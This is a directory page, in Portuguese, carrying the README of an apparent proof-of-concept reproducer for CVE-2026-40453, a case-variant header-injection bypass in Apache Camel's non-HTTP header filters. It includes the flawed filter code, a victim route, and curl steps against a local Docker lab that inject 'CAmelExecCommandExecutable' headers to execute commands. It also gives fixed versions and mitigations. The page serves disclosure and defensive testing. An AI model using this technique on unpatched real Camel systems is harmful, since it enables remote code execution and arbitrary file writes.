Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodutor de Injeção de Cabeçalho Camel com Variação de Caixa (CVE-2026-40453)

Este projeto demonstra CVE-2026-40453 — uma correção incompleta para CVE-2025-27636. A correção de 2025 adicionou setLowerCase(true) ao HttpHeaderFilterStrategy para que nomes de cabeçalho com variação de caixa (ex.: CAmelExecCommandExecutable) sejam filtrados junto com o canônico CamelExecCommandExecutable. A mesma chamada não foi aplicada a cinco implementações de HeaderFilterStrategy não-HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), que filtram de forma sensível a caixa enquanto o Camel Exchange armazena cabeçalhos em um mapa insensível a caixa. Um atacante pode, portanto, injetar um cabeçalho de controle Camel* com variação de caixa que ignora o filtro, mas ainda é resolvido por componentes downstream (camel-exec, camel-file, ...) sob seu nome canônico → execução remota de código / escrita arbitrária de arquivo.

Este reprodutor demonstra a bypass com camel-coap (autocontido, sem broker externo); a mesma falha afeta as estratégias JMS/SJMS/Google-Pubsub.

Advisory: https://camel.apache.org/security/CVE-2026-40453.html

Resumo da Vulnerabilidade

Detalhes Técnicos

CoAPHeaderFilterStrategy (versão afetada) filtra Camel* de forma sensível a caixa:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Quando uma requisição CoAP chega, CamelCoapResource.handleRequest() mapeia cada parâmetro de consulta URI para os cabeçalhos Exchange In, controlado por strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable — startsWith("Camel") é true → filtrado.
  • CAmelExecCommandExecutable — startsWith("Camel") é false (CAm ≠ Cam) → não filtrado.

O mapa de cabeçalhos Exchange é insensível a caixa, então o cabeçalho com variação de caixa é posteriormente resolvido pelo produtor exec sob seu nome canônico CamelExecCommandExecutable, substituindo o comando.

A rota vítima

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Pré-requisitos

  • Java 17+ e Maven 3.8+
  • Docker

Passos para Reprodução

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Benigno

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Cabeçalho canônico — FILTRADO (sem RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Cabeçalho com variação de caixa — BYPASS (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Limpeza

root@kitploit:~
docker compose down

Correção Recomendada

Atualize para 4.14.6 / 4.18.2 / 4.20.0. A correção (CAMEL-23313) adiciona setLowerCase(true) às cinco implementações não-HTTP de HeaderFilterStrategy para que nomes Camel* com variação de caixa também sejam filtrados.

Mitigação

Até a atualização:

  1. Remova cabeçalhos Camel de forma insensível a caixa downstream de produtores não confiáveis — um HeaderFilterStrategy personalizado com setLowerCase(true), ou removeHeaders com um padrão insensível a caixa.
  2. Evite encaminhar mensagens não confiáveis JMS / CoAP / Pub-Sub para produtores orientados por cabeçalho.

Arquivos

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentescamel-jms, camel-sjms, camel-coap, camel-google-pubsub (este PoC utiliza camel-coap)
Classes AfetadasJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
Causa raizFiltragem sensível a caixa startsWith("Camel"/"camel") (faltando setLowerCase(true)) versus um mapa de cabeçalhos Exchange insensível a caixa
CWECWE-20 (Validação de Entrada Incorreta) — injeção de cabeçalho de mensagem
ImpactoRCE / escrita arbitrária de arquivo via produtores orientados por cabeçalho
Versões AfetadasDe 3.0.0 antes de 4.14.6, de 4.15.0 antes de 4.18.2, de 4.19.0 antes de 4.20.0
Versões Corrigidas4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (completa a correção para CVE-2025-27636)
ReporterSaroj Khadka